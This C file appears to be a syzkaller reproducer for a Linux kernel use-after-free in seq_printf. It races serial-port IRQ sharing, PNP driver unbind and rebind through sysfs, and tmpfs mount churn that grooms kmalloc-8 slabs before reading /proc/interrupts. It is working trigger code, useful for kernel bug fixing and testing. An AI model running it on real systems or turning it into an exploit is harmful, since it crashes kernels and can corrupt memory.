// https://syzkaller.appspot.com/bug?id=e51b14bd82d284c20da8db290a356eeebe2bd946 #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef ASYNC_SHARE_IRQ #define ASYNC_SHARE_IRQ (1U << 24) #endif #ifndef ASYNC_BUGGY_UART #define ASYNC_BUGGY_UART (1U << 14) #endif #ifndef PORT_16550A #define PORT_16550A 4 #endif #define NUM_CHURN_THREADS 2 #define NUM_READER_THREADS 2 static volatile int stop = 0; static char console_pnp_dev[64] = "00:02"; static char target_pnp_dev[64] = "00:03"; static void sanitize_pnp_name(char *s) { /* Truncate hierarchy at second colon: "00:03:0.0" -> "00:03" */ char *c1 = strchr(s, ':'); if (c1) { char *c2 = strchr(c1 + 1, ':'); if (c2) *c2 = '\0'; } } static int write_pnp_driver(const char *action, const char *dev_name) { char path[128]; snprintf(path, sizeof(path), "/sys/bus/pnp/drivers/serial/%s", action); int fd = open(path, O_WRONLY); if (fd < 0) { printf("[-] Failed to open %s: %s\n", path, strerror(errno)); return -1; } ssize_t w = write(fd, dev_name, strlen(dev_name)); if (w < 0 || w != (ssize_t)strlen(dev_name)) { printf("[-] write '%s' to %s failed: %s\n", dev_name, path, strerror(errno)); close(fd); return -1; } int res = close(fd); if (res < 0) { printf("[-] Failed to close %s: %s\n", path, strerror(errno)); return -1; } printf("[+] Successfully wrote '%s' to %s.\n", dev_name, path); return 0; } static int open_or_create_tty(int i) { char path[32]; snprintf(path, sizeof(path), "/dev/ttyS%d", i); if (access(path, F_OK) != 0) { mknod(path, S_IFCHR | 0666, makedev(4, 64 + i)); } return open(path, O_RDWR | O_NONBLOCK); } static void discover_devices(void) { char link0[512] = {0}; char link1[512] = {0}; int found_console = 0; int found_target = 0; ssize_t l0 = readlink("/sys/class/tty/ttyS0/device", link0, sizeof(link0) - 1); if (l0 > 0) link0[l0] = '\0'; ssize_t l1 = readlink("/sys/class/tty/ttyS1/device", link1, sizeof(link1) - 1); if (l1 > 0) link1[l1] = '\0'; printf("[*] readlink ttyS0/device: '%s'\n", link0); printf("[*] readlink ttyS1/device: '%s'\n", link1); /* Scan driver directory and match against symlinks */ DIR *dir = opendir("/sys/bus/pnp/drivers/serial"); if (dir) { struct dirent *de; while ((de = readdir(dir)) != NULL) { if (de->d_name[0] == '.') continue; if (!strcmp(de->d_name, "bind") || !strcmp(de->d_name, "unbind") || !strcmp(de->d_name, "uevent") || !strcmp(de->d_name, "module")) continue; if (l0 > 0 && strstr(link0, de->d_name)) { strncpy(console_pnp_dev, de->d_name, sizeof(console_pnp_dev) - 1); found_console = 1; } if (l1 > 0 && strstr(link1, de->d_name)) { strncpy(target_pnp_dev, de->d_name, sizeof(target_pnp_dev) - 1); found_target = 1; } } closedir(dir); } /* Fallback: parse link target directly */ if (!found_console && l0 > 0) { char *p0 = strrchr(link0, '/'); if (p0) { p0++; sanitize_pnp_name(p0); if (strlen(p0) > 0) strncpy(console_pnp_dev, p0, sizeof(console_pnp_dev) - 1); } } if (!found_target && l1 > 0) { char *p1 = strrchr(link1, '/'); if (p1) { p1++; sanitize_pnp_name(p1); if (strlen(p1) > 0) strncpy(target_pnp_dev, p1, sizeof(target_pnp_dev) - 1); } } sanitize_pnp_name(console_pnp_dev); sanitize_pnp_name(target_pnp_dev); printf("[+] Identified console PNP device: %s\n", console_pnp_dev); printf("[+] Identified target PNP device: %s\n", target_pnp_dev); } static int config_port_sharing(int fd, int irq, int ioport) { struct serial_struct ser; memset(&ser, 0, sizeof(ser)); int res = ioctl(fd, TIOCGSERIAL, &ser); if (res < 0) { printf("[-] Failed to ioctl(TIOCGSERIAL): %s\n", strerror(errno)); return -1; } ser.type = PORT_16550A; ser.irq = irq; ser.flags |= ASYNC_SHARE_IRQ | ASYNC_BUGGY_UART; if (ser.baud_base < 9600) ser.baud_base = 115200; if (ser.port == 0 && ioport != 0) ser.port = ioport; res = ioctl(fd, TIOCSSERIAL, &ser); if (res < 0) { printf("[-] Failed to ioctl(TIOCSSERIAL): %s\n", strerror(errno)); return -1; } return 0; } static void *thread_slab_churn(void *arg) { long idx = (long)arg; char dir[128]; snprintf(dir, sizeof(dir), "/tmp/churn_%ld_%d", idx, getpid()); mkdir(dir, 0755); while (!stop) { if (mount("none", dir, "tmpfs", 0, NULL) == 0) { umount(dir); } usleep(20); } rmdir(dir); return NULL; } static void *thread_proc_reader(void *arg) { while (!stop) { int fd = open("/proc/interrupts", O_RDONLY); if (fd >= 0) { lseek(fd, 0x200000008ULL, SEEK_SET); char buf[512]; read(fd, buf, sizeof(buf)); close(fd); } int fd2 = open("/proc/interrupts", O_RDONLY); if (fd2 >= 0) { char buf[4096]; while (read(fd2, buf, sizeof(buf)) > 0) ; close(fd2); } usleep(50); } return NULL; } int main(void) { setvbuf(stdout, NULL, _IONBF, 0); printf("[*] Starting Phase 2 reproducer for KASAN slab-use-after-free in seq_printf...\n"); /* Step 1: Verify access to /proc/interrupts */ int proc_fd = open("/proc/interrupts", O_RDONLY); if (proc_fd < 0) { printf("[-] Failed to open /proc/interrupts: %s\n", strerror(errno)); exit(1); } printf("[+] open /proc/interrupts successful.\n"); off_t off = lseek(proc_fd, 0x200000008ULL, SEEK_SET); if (off < 0) { printf("[-] Failed to lseek /proc/interrupts: %s\n", strerror(errno)); close(proc_fd); exit(1); } printf("[+] lseek /proc/interrupts successful.\n"); int res = close(proc_fd); if (res < 0) { printf("[-] Failed to close /proc/interrupts: %s\n", strerror(errno)); exit(1); } printf("[+] close /proc/interrupts successful.\n"); /* Ensure device nodes exist */ if (access("/dev/ttyS1", F_OK) != 0) mknod("/dev/ttyS1", S_IFCHR | 0666, makedev(4, 65)); if (access("/dev/ttyS2", F_OK) != 0) mknod("/dev/ttyS2", S_IFCHR | 0666, makedev(4, 66)); if (access("/dev/ttyS3", F_OK) != 0) mknod("/dev/ttyS3", S_IFCHR | 0666, makedev(4, 67)); /* Step 2: Discover and canonicalize PNP devices */ discover_devices(); if (strcmp(target_pnp_dev, console_pnp_dev) == 0 || strcmp(target_pnp_dev, "00:02") == 0) { printf("[-] Target PNP device matches console! Aborting unbind to prevent hang.\n"); exit(1); } res = access("/sys/bus/pnp/drivers/serial/unbind", W_OK); if (res < 0) { printf("[-] Failed to access unbind sysfs file: %s\n", strerror(errno)); exit(1); } printf("[+] unbind sysfs file is accessible.\n"); res = access("/sys/bus/pnp/drivers/serial/bind", W_OK); if (res < 0) { printf("[-] Failed to access bind sysfs file: %s\n", strerror(errno)); exit(1); } printf("[+] bind sysfs file is accessible.\n"); /* Ensure target device is initially bound */ char bound_path[256]; snprintf(bound_path, sizeof(bound_path), "/sys/bus/pnp/drivers/serial/%s", target_pnp_dev); if (access(bound_path, F_OK) != 0) { printf("[*] %s is not bound to serial driver. Binding...\n", target_pnp_dev); res = write_pnp_driver("bind", target_pnp_dev); if (res < 0) { printf("[-] Failed to initial-bind %s: %s\n", target_pnp_dev, strerror(errno)); exit(1); } printf("[+] Initial-bind of %s successful.\n", target_pnp_dev); usleep(20000); } else { printf("[+] %s is already bound to serial driver.\n", target_pnp_dev); } /* Step 3: Launch concurrent slab churn and proc reader threads */ pthread_t t_churn[NUM_CHURN_THREADS]; pthread_t t_reader[NUM_READER_THREADS]; for (long i = 0; i < NUM_CHURN_THREADS; i++) { res = pthread_create(&t_churn[i], NULL, thread_slab_churn, (void *)i); if (res != 0) { printf("[-] Failed to create slab churn thread %ld: %s\n", i, strerror(res)); exit(1); } } printf("[+] Created %d slab churn threads.\n", NUM_CHURN_THREADS); for (long i = 0; i < NUM_READER_THREADS; i++) { res = pthread_create(&t_reader[i], NULL, thread_proc_reader, (void *)i); if (res != 0) { printf("[-] Failed to create proc reader thread %ld: %s\n", i, strerror(res)); exit(1); } } printf("[+] Created %d proc reader threads.\n", NUM_READER_THREADS); /* Step 4: Execute unbind and UAF read race loop */ printf("[*] Starting serial port sharing and unbind/rebind race loop...\n"); for (int iter = 0; iter < 40; iter++) { /* Step 4a: Open ttyS1 (never open ttyS0) */ int fd1 = -1; for (int r = 0; r < 50; r++) { fd1 = open_or_create_tty(1); if (fd1 >= 0) break; usleep(5000); } if (fd1 < 0) { printf("[-] Failed to open /dev/ttyS1 on iter %d: %s\n", iter, strerror(errno)); exit(1); } /* Determine base IRQ for ttyS1 */ struct serial_struct ser1; memset(&ser1, 0, sizeof(ser1)); res = ioctl(fd1, TIOCGSERIAL, &ser1); if (res < 0) { printf("[-] Failed to ioctl(TIOCGSERIAL) on ttyS1: %s\n", strerror(errno)); close(fd1); exit(1); } int target_irq = (ser1.irq > 0) ? ser1.irq : 3; ser1.type = PORT_16550A; ser1.irq = target_irq; ser1.flags |= ASYNC_SHARE_IRQ | ASYNC_BUGGY_UART; if (ser1.baud_base < 9600) ser1.baud_base = 115200; res = ioctl(fd1, TIOCSSERIAL, &ser1); if (res < 0) { printf("[-] Failed to ioctl(TIOCSSERIAL) on ttyS1: %s\n", strerror(errno)); close(fd1); exit(1); } /* Step 4b: Open secondary port ttyS3 and link to target_irq */ int fd3 = open_or_create_tty(3); if (fd3 < 0) { printf("[-] Failed to open /dev/ttyS3: %s\n", strerror(errno)); close(fd1); exit(1); } res = config_port_sharing(fd3, target_irq, 0x2e8); if (res < 0) { printf("[-] Failed to configure ttyS3: %s\n", strerror(errno)); close(fd1); close(fd3); exit(1); } /* Optionally link ttyS2 as well */ int fd2 = open_or_create_tty(2); if (fd2 >= 0) { config_port_sharing(fd2, target_irq, 0x3e8); } /* Step 4c: Close ttyS1. Secondary ports keep IRQ action alive */ res = close(fd1); if (res < 0) { printf("[-] Failed to close ttyS1: %s\n", strerror(errno)); exit(1); } fd1 = -1; /* Step 4d: Unbind only ttyS1's PNP device (00:03). This frees ttyS1's name in kmalloc-8 */ res = write_pnp_driver("unbind", target_pnp_dev); if (res < 0) { printf("[-] Failed to unbind %s: %s\n", target_pnp_dev, strerror(errno)); exit(1); } /* Step 4e: Churn kmalloc-8 slabs inline */ char churn_dir[64]; snprintf(churn_dir, sizeof(churn_dir), "/tmp/churn_main_%d", iter); res = mkdir(churn_dir, 0755); if (res < 0 && errno != EEXIST) { printf("[-] Failed to mkdir %s: %s\n", churn_dir, strerror(errno)); exit(1); } for (int k = 0; k < 15; k++) { if (mount("none", churn_dir, "tmpfs", 0, NULL) == 0) { umount(churn_dir); } } rmdir(churn_dir); /* Step 4f: Query /proc/interrupts to trigger seq_printf on freed name */ int pfd = open("/proc/interrupts", O_RDONLY); if (pfd >= 0) { off_t o = lseek(pfd, 0x200000008ULL, SEEK_SET); (void)o; char pbuf[512]; read(pfd, pbuf, sizeof(pbuf)); close(pfd); } int pfd2 = open("/proc/interrupts", O_RDONLY); if (pfd2 >= 0) { char pbuf2[4096]; while (read(pfd2, pbuf2, sizeof(pbuf2)) > 0) ; close(pfd2); } /* Step 4g: Close secondary ports to allow IRQ cleanup */ if (fd3 >= 0) { close(fd3); fd3 = -1; } if (fd2 >= 0) { close(fd2); fd2 = -1; } /* Step 4h: Rebind ttyS1's PNP device for next cycle */ res = write_pnp_driver("bind", target_pnp_dev); if (res < 0) { printf("[-] Failed to rebind %s: %s\n", target_pnp_dev, strerror(errno)); exit(1); } printf("[+] Completed race loop iteration %d.\n", iter); usleep(20000); } printf("[+] Race loop finished.\n"); /* Step 5: Teardown background threads */ stop = 1; for (int i = 0; i < NUM_CHURN_THREADS; i++) { pthread_join(t_churn[i], NULL); } for (int i = 0; i < NUM_READER_THREADS; i++) { pthread_join(t_reader[i], NULL); } printf("[+] Reproducer completed.\n"); return 0; }